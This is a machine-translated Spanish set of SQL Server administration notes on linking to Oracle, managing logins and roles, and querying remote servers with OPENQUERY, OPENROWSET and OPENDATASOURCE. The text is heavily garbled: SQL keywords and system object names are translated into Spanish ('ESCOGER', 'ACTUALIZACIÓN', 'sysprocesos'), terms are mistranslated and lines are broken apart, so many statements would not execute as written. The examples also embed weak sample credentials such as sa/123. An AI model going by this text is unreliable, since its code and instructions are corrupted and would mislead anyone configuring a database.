'+cast(spid como varchar)+char(13) De parte del maestro... sysprocesos donde dbid=db_id('nombre de la biblioteca') ejecutiva(@d) -- Utiliza el código para eliminar primero el proceso que se conecta a esta base de datos
MSSQL opera Oracle a través de LinkServer
1) Instalar Oracle en el servidor SQL_SERVER 2005
9i. Supongamos que instalamos en el directorio C:\ora92i\. Si D: es una partición NTFS, debes establecer el directorio instalado de ORACLE como el que se usa
Los suscriptores tienen derecho a ejecutar, añadir y eliminar.
2) Configura el archivo C:\ora92i\network\ADMIN\tnsnames.ora. (El siguiente texto rojo es un ejemplo de configuración)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(DIRECCIÓN = (PROTOCOLO = TCP)(HOST = 192.168.0.11)(PUERTO = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Ejecuta el siguiente comando en modo DOS para confirmar que el cliente ORACLE está instalado correctamente.
Usuario/password@ORCL sqlplus
4) Abrir Inicio - Panel de Control - Servicios y confirmar que el servicio de Coordinador de Transacciones Distribuidas ha comenzado.
5) Open SQL SERVER Management Studio, nombre de la instancia (ORCL) - Objeto servidor (clic derecho) - Nuevo servidor de conexión.
1.
Servidor de enlace: Escribe el nombre del servidor enlazado, como OracleTest
2. Tipo de servidor, seleccionar una fuente de datos diferente
3. Interfaz de acceso: Seleccionar proveedor de Oracle para OLE DB
4. Nombre del producto: Write Oracle
5. Fuente de datos: Redactar
El nombre del servicio está configurado en el archivo tnsnames.ora, como ORCL
6. Cadena de interfaz de acceso: userid=sys como sysdba; contraseña=contraseña
7. En la página Seleccionar Opciones de Seguridad, utilice este contexto de instalación para establecer una conexión:
a) Inicio de sesión remoto: usuario (otro usuario, no sys)
b)
Usa contraseña: contraseña
8. Establecer "NT AUTHORITY\SYSTEM" en el inicio de sesión local, sistemas de usuario remoto y establecer la contraseña
9.
Estás seguro
6) Hay dos formas de escribir SQL
a) Uso de la sintaxis de T-SQL:
SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS
Ten en cuenta que al introducir sentencias SQL en SQL Query Analyzer, presta atención a los cambios chinos de ancho completo y medio ancho
¡sentido!
b) Utilizar la sintaxis PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) El segundo método de acceso es aproximadamente un 50% más rápido que el primero; El segundo método de acceso está directamente conectado
ORACLE es comparable; El primer método de acceso puede provocar algunos errores inesperados, como: La tabla no existe, ni el usuario actual
No hay acceso a la mesa, y así sucesivamente.
d) Si la columna a la que se debe acceder utiliza tipos de datos sin precisión, ambos
Este es un error de ORACLE que no puede corregirse y solo puede evitarse mediante un manejo especial de las sentencias de consulta:
Los metadatos proporcionados por el proveedor de OLE DB 'OraOLEDB.Oracle' para las columnas son inconsistentes. La información de metadatos se modifica en la ejecución.
mssql añadió
Elimina al usuario y concede permisos
Usa el nombre de tu biblioteca ¡Ve --Añadir usuarios Ejecutiva sp_addlogin 'Prueba' -- Añadir inicio de sesión Ejecutivo
sp_grantdbaccess N'test' - convertirlo en un usuario legítimo de la base de datos actual ejecutivo sp_addrolemember N'db_owner',
N'test' - concede todos los permisos a su propia base de datos --Esto crea usuarios que solo pueden acceder a su propia base de datos y a lo que está incluido en la base de datos
Tabla pública para usuarios invitados ¡Ve --Eliminar usuario de prueba exec sp_revokedbaccess N'test' -- Eliminar el acceso a la base de datos
Límite exec sp_droplogin N'test' -- eliminar inicio de sesión Si lo creas en Enterprise Manager, usa: Gestor Empresarial - Seguridad
Sexo --Clic derecho Iniciar sesión--Nuevo inicio de sesión Elementos generales --Introduce el nombre de usuario en el nombre
--El método de autenticación se selecciona según tus necesidades (si usas autenticación de Windows, primero necesitas crear un nuevo usuario entre los usuarios del sistema operativo)
--En la configuración predeterminada, selecciona el nombre de la base de datos al que quieres acceder para el nuevo usuario Elemento de rol del servidor No elijas nada en esto base de datos
Elemento de acceso Comprueba el nombre de la base de datos a la que quieres acceder para el usuario que crees Permite en el rol de base de datos, marca "público", "db_ownew" Claro, esto
El usuario creado por la muestra es el mismo que el usuario creado por la afirmación anterior
El último paso es establecer permisos de acceso específicos para usuarios concretos, que pueden referirse al siguiente ejemplo mínimo:
--Añadir usuarios que solo pueden acceder a la tabla especificada: Ejecutivo sp_addlogin 'Nombre de usuario', 'Contraseña', 'Nombre de base de datos predeterminado'
--añadir a la base de datos Ejecutivo sp_grantdbaccess 'Nombre de usuario'
--Asignar permisos a toda la tabla CONCEDER SELECT , INSERTAR , ACTUALIZAR , ELIMINAR EN LA TABLA 1 A [nombre de usuario] --Asignar permisos a columnas específicas CONCEDER SELECT , ACTUALIZAR EN tabla1(id,AA) A [nombre de usuario]
Para configuraciones de seguridad específicas y conocimientos teóricos, consulta SQL Online Help
Descripción fija del rol de la base de datos db_owner Tener permisos completos en la base de datos.
db_accessadmin Puedes añadir o eliminar IDs de usuario.
db_securityadmin Puede gestionar permisos completos, propiedad de objetos, roles y membresías de roles.
db_ddladmin puede emitir TODOS los DDL, pero no las declaraciones de CONCEDER, REVOCAR o DENEGAR.
db_backupoperator puede emitir instrucciones DBCC, CHECKPOINT y BACKUP.
db_datareader Puedes seleccionar todos los datos de cualquier tabla de usuario en la base de datos.
db_datawriter Puedes cambiar todos los datos de cualquier tabla de usuario en la base de datos.
db_denydatareader No puedes seleccionar ningún dato de ninguna tabla de usuario en la base de datos.
db_denydatawriter No puedes cambiar ningún dato en ninguna tabla de usuario de la base de datos.
Deberías elegir db_datareader, db_datawriter db_accessadmin
5. Después de que la instancia de SQL Server se inicie en modo de usuario único, la cuenta de administrador de Windows puede usar la herramienta sqlcmd para conectarse en modo de autenticación de Windows
SQL Server。 Puedes usar comandos T-SQL como "sp_addsrvrolemember" para añadir un inicio de sesión existente al rol de servidor sysadmin
O crear una nueva cuenta de inicio de sesión. Un ejemplo de afirmación es el siguiente:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
VETE
Añadir un privilegio de administrador de sistemas
(1) Gestionar roles de servidor
En SQL Server, existen dos procedimientos almacenados principales que implementan la gestión de roles de SQL Server:
sp_addsrvrolemember
y sp_dropsrvrolemember
sp_addsrvrolemember Puedes añadir una cuenta de inicio de sesión a un rol de servidor para que sea miembro de ese rol de servidor. La sintaxis es la siguiente: sp_addsrvrolemember
Inicio de sesión , rol
sp_dropsrvrolemember Puedes eliminar una cuenta de inicio de sesión de un rol de servidor y, cuando el miembro es eliminado del rol de servidor, ya no tiene ese rol de servidor
Los permisos establecidos. La sintaxis es la siguiente: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rol'
en ese sentido
@loginname es el nombre del usuario registrado; @rolename es un puesto de camarero.
(2) Gestionar roles en bases de datos
En SQL Server se soporta la gestión de bases de datos
Existen seis tipos principales de procedimientos almacenados, y sus significados y sintaxis específicos son los siguientes:
sp_addrole: Se usó para crear un nuevo rol de base de datos; sp_addrole
Rol, propietario
sp_droprole: Se utiliza para eliminar un rol de base de datos del rol actual de base de datos; sp_droprole Rol
sp_helprole:
Se utiliza para mostrar toda la información sobre todos los roles de la base de datos en la base de datos actual; sp_helprole ['papel']
sp_addrolemember: Se usaba para enviar a la base de datos
Añadir usuarios de bases de datos a un rol, que pueden ser roles estándar definidos por el usuario o roles fijos en la base de datos, pero no pueden serlo
Puestos de solicitud. sp_addrolemember papel, security_account
sp_droprolemember: Usado para eliminar a cierto personaje
hogar; sp_droprolemember papel, security_account
sp_helprolemember: Se utiliza para mostrar a todos los miembros de un rol de base de datos
。 sp_helprolemember ['papel']
CONSULTA DE LINKSERVER MSSQL
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Fecha : 2010-06-25 22:23:18 -- Versión: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 de julio de 2008 14:43:34 -- Derechos de autor (c) 1988-2008 Microsoft Corporation --
Edición para desarrolladores en Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Asunto: Operaciones de datos SQL entre diferentes bases de datos de servidores ---------------------------------------------------------------------------------- --1. Crear un servidor de enlaces --1.1 Crear un nombre de enlace EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', el nombre del servidor remoto
o dirección IP' -- Si tienes un nombre de instancia personalizado, añade "\nombre de instancia"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Crea un inicio de sesión (o crea un mapa de inicio de sesión en un servidor de enlaces) (solo elige una manera) --1.2.1 Iniciar sesión con autenticación de Windows EJECUTIVO sp_addlinkedsrvlogin 'LinkName' --o EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Iniciar sesión con autenticación SQL EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa', '123' */ --2. Operaciones de datos relacionadas con el servidor de enlace --2.1 Ejemplo de consulta SELECT * DESDE NombreEnlace.nombre de la base de datos.nombre del esquema.nombre de la tabla
/*例如:SELECT *
DE TonyLink.Mydb.dbo.tb */ -- 2.2 Ejemplo de importación SELECT * INTO nombre de la tabla DESDE LinkName.database.nombre schema.nombre de la tabla
/*例如:SELECT * INTO Newtb
DE TonyLink.Mydb.dbo.tb */ -- 2.3 Ejemplo de actualización ACTUALIZACIÓN NombreEnlace.Nombre de la base de datos.Nombre del esquema.Nombre de la tabla SET campo='valor' DONDE campo='condición'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Personas='g' DONDE Personas='a' */ -- 2.4 Eliminar ejemplos ELIMINAR NombreEnlace.Nombre de la base de datos.Nombre del esquema.Nombre de la tabla DONDE nombre del campo='condición'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WHERE Personas='g' */ --3 mediante función de conjunto de filas (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Método
- 3.1 Método OPENQUERY (requiere la ayuda del servidor de enlaces que acabas de crear): -- 3.1.1 Ejemplo de consulta SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nombre de arquitectura. nombre de la tabla')
/* Por ejemplo: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Ejemplos de importación --3.1.2.1 Importar todas las columnas INSERTAR OPENQUERY(LinkName, 'SELECT * FROM nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
') SELECT * DE la tabla local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
DE TB */ --3.1.2.2 Importar las columnas especificadas INSERTAR OPENQUERY(LinkName, 'SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla') (columna, columna...) columna SELECT,
Column... DE la tabla local
/* Por ejemplo: INSERTAR OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGO, NIVEL, Personas) ESCOGER
RANGO, NIVEL, Personas DE TB */ --3.1.3 Ejemplos de actualización ACTUALIZACIÓN OPENQUERY(LinkName, 'SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla') campo SET = 'valor' palabra WHERE
Segmento = 'Condición'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Personas='a' */ --3.1.4 Eliminar ejemplos ELIMINAR OPENQUERY(LinkName, 'SELECT * FROM database name. Nombre de arquitectura. nombre de la tabla') DONDE nombre del campo='condición'
/*例
Por ejemplo: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 método OPENROWSET (no necesitas usar el nombre del enlace creado). Si el nombre de la instancia conectada no es el predeterminado, tienes que configurarlo en nombre de servidor SQL o dirección IP.
"\nombre de la instancia") --3.2.1 Ejemplo de consulta --3.2.1.1 Consulta de métodos de autenticación de Windows (uno de los siguientes métodos es suficiente) SELECCIONA * DE OPENROWSET('SQLOLEDB', 'server=nombre del servidor SQL o
dirección IP; Trusted_Connection=sí', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) SELECCIONA * DESDE OPENROWSET('SQLNCLI',
'server=nombre o dirección IP del servidor SQL; Trusted_Connection=sí', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) SELECT * FROM
OPENROWSET('SQLOLEDB', 'server=nombre o dirección IP del servidor sql; Trusted_Connection=sí','SELECT * DE base de datos
Nombre. Nombre de arquitectura. nombre de la tabla') SELECCIONA * DESDE OPENROWSET('SQLNCLI', 'server=nombre o dirección IP del servidor sql
Dirección; Trusted_Connection=yes','SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla')
/* Por ejemplo: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
O: SELECT * DESDE OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
O: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sí','SELECT *
DE Mydb.dbo.tb')
O: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sí','SELECT *
DE Mydb.dbo.tb') */ --3.2.1.2 Consulta de método de autenticación SQL (Uno de los siguientes métodos es suficiente) SELECT * DESDE OPENROWSET
('SQLOLEDB', 'server=nombre o dirección IP del servidor SQL; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) SELECT * FROM
OPENROWSET('SQLNCLI', 'server=nombre o dirección IP del servidor sql; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) SELECCIONA * DE OPENROWSET('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=password','SELECT *
Nombre de la base de datos de FROM. Nombre de arquitectura. nombre de la tabla') SELECCIONA * DE OPENROWSET('SQLNCLI', 'server=nombre o dirección IP del servidor SQL; uid=
Nombre de usuario; pwd=password','SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla') SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL
nombre del servidor'; 'nombre de usuario'; 'contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) SELECCIONA * DE OPENROWSET('SQLNCLI', 'NOMBRE DEL SERVIDOR SQL
'; 'nombre de usuario'; 'contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) SELECCIONA * DE OPENROWSET('SQLOLEDB', 'NOMBRE DEL SERVIDOR SQL'; ' usuario
nombre'; 'Contraseña', 'SELECCIONAR * DE nombre de la base de datos. Nombre de arquitectura. nombre de la tabla') SELECT * FROM OPENROWSET('SQLNCLI', 'sql server
nombre'; 'nombre de usuario'; 'Contraseña', 'SELECCIONAR * DE nombre de la base de datos. Nombre de arquitectura. nombre de la tabla')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb) O: SELECT * DESDE OPENROWSET
('SQLNCLI','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb) O: SELECT * DESDE OPENROWSET
('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123','SELECT * FROM Mydb.dbo.tb')
o: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; UID=SA; pwd=123','SELECT * FROM
Mydb.dbo.tb')
o: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
o: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
o: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb')
o: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Ejemplo de importación --3.2.2.1 Importar todas las columnas INSERTE OPENROWSET('SQLOLEDB', 'server=nombre o dirección IP del servidor SQL
Dirección; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) SELECT * DE la tabla local
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb) SELECT * DE TB */ --3.2.2.2 Importación
Especificar columnas INSERTA OPENROWSET('SQLOLEDB', 'servidor=nombre o dirección IP del servidor sql; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. rejilla
Nombre del constructo. nombre de la tabla) (columna, columna...) Columna SELECT, columna... DE la tabla local
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123', mydb.dbo.tb)(RANGO, NIVEL, Personas) ESCOGER
RANGO, NIVEL, Personas DE TB */ --Nota: Para más métodos alternativos, consulta el ejemplo de la consulta .2.1, simplemente reemplaza la función OPENROWSET
El contenido es suficiente. --3.2.3 Ejemplo de actualización UPDATE OPENROWSET('SQLOLEDB', 'server=nombre o dirección IP del servidor SQL; uid=nombre de usuario
;p wd=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla) Campo SET = 'valor' DONDE campo = 'condición'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb) SET Personas='g' DONDE Personas='a' */ --Nota: Para más métodos alternativos, consulta el ejemplo de la consulta .2.1, simplemente reemplaza el contenido en el OPENROWSET. --3.2.4 Eliminar la indicación
Ejemplo ELIMINA OPENROWSET('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre del esquema
.nombre de la tabla) DONDE nombre del campo='condición'
/* Por ejemplo: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb) DÓNDE
Personas='g' */ --Nota: Para más métodos alternativos, consulta el ejemplo de la consulta .2.1, simplemente reemplaza el contenido en el OPENROWSET. --3.3 Método OPENDATASOURCE
(No necesitas usar el nombre del enlace creado.) Si el nombre de la instancia de la conexión no es el predeterminado, necesitas añadir \nombre de instancia después del nombre del servidor SQL o la dirección IP
") --3.3.1 Ejemplo de consulta --3.3.1.1 Consulta del método de autenticación de Windows (Uno de los siguientes métodos es suficiente) SELECCIONA * DE OPENDATASOURCE('SQLOLEDB',
'server=nombre o dirección IP del servidor SQL; Trusted_Connection=sí'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla SELECT * FROM
OPENDATASOURCE('SQLNCLI', 'server=nombre o dirección IP del servidor sql; Trusted_Connection=sí'). Nombre de la base de datos. Nombre de arquitectura.
Nombre de la tabla
/* Por ejemplo: SELECT * DE OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sí'). Mydb.dbo.tb
O: SELECCIONAR * DE OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sí'). Mydb.dbo.tb */ --3.3.1.2 Consulta de métodos de autenticación SQL (uno de los siguientes métodos es suficiente) SELECCIONA * DE OPENDATASOURCE('SQLOLEDB', 'server=nombre del servidor SQL o
dirección IP; uid=nombre de usuario; pwd=contraseña'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla SELECCIONA * DE OPENDATASOURCE('SQLNCLI', 'servidor=nombre o dirección IP del servidor SQL; uid=usuario
Nombre; pwd=contraseña'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=nombre o dirección IP del servidor SQL)
Dirección; uid=nombre de usuario; pwd=contraseña'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla SELECCIONA * DE OPENDATASOURCE('SQLNCLI', 'Data Source=nombre o dirección IP del servidor sql
Dirección; uid=nombre de usuario; pwd=contraseña'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
O: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
O: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Fuente=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
O: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
fuente=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb */ Importar todas las columnas INSERTE OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=contraseña').
Según el nombre de la biblioteca. Nombre de arquitectura. Nombre de la tabla SELECT * DE la tabla local
/* Por ejemplo: INSERTAR OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb ESCOGER
* DE TB */ --3.3.2.2 Importar las columnas especificadas INSERTE OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=contraseña').
Según el nombre de la biblioteca. Nombre de arquitectura. Nombre de la tabla (columna, columna...) Columna SELECT, columna... DE la tabla local
/* Por ejemplo: INSERTAR OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
(RANGO, NIVEL, Personas) SELECCIONA RANGO, NIVEL, PERSONAS DE TB */ --Nota: Para más métodos alternativos, véase el ejemplo de la consulta .3.1, simplemente reemplaza el contenido en la función de conjunto de líneas (OPENDATASOURCE). --Ejemplo de actualización 3.3.3 ACTUALIZACIÓN OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor sql; uid=nombre de usuario; pwd=contraseña'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla Campo SET = 'valor' DONDE campo = 'condición'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb SET Personas='g' DONDE Personas='a' */ --Nota: Para más métodos alternativos, véase el ejemplo de la consulta .3.1, simplemente reemplaza el contenido en la función de conjunto de líneas (OPENDATASOURCE). --3.3.4 Eliminar ejemplo ELIMINAR OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=contraseña'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla DONDE nombre del campo='condición'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb DONDE Personas = 'g' */ - Nota: Más alternativas
Consulta el ejemplo de la consulta .3.1, solo reemplaza el contenido en la función de conjunto de filas (OPENDATASOURCE). -- Eliminar el método del servidor enlazado --Si en el futuro dejas de usar la información del enlace, puedes eliminarla --4.1 Eliminar la información de inicio de sesión (o eliminar el mapa de nombres de inicio de sesión del servidor vinculado) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Por ejemplo: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Elimina el nombre del servidor enlazado EXEC sp_dropserver 'LinkName', 'droplogins' — si se especifican los droplogins, El mapa de inicio de sesión debe eliminarse antes de eliminar el servidor vinculado
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Adjunto
: Cómo obtener el nombre del proveedor (master EXEC.). xp_enum_oledb_providers) SELECT CAST([Nombre del proveedor] COMO
VARCHAR(30)) NombreProveedor, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion DE
OPENROWSET( 'SQLOLEDB', 'Servidor=.; Trusted_Connection=sí', 'LANZA EL PRIMER MOMENTO; EJECUTIVO
Maestro... xp_enum_oledb_providers'
)
|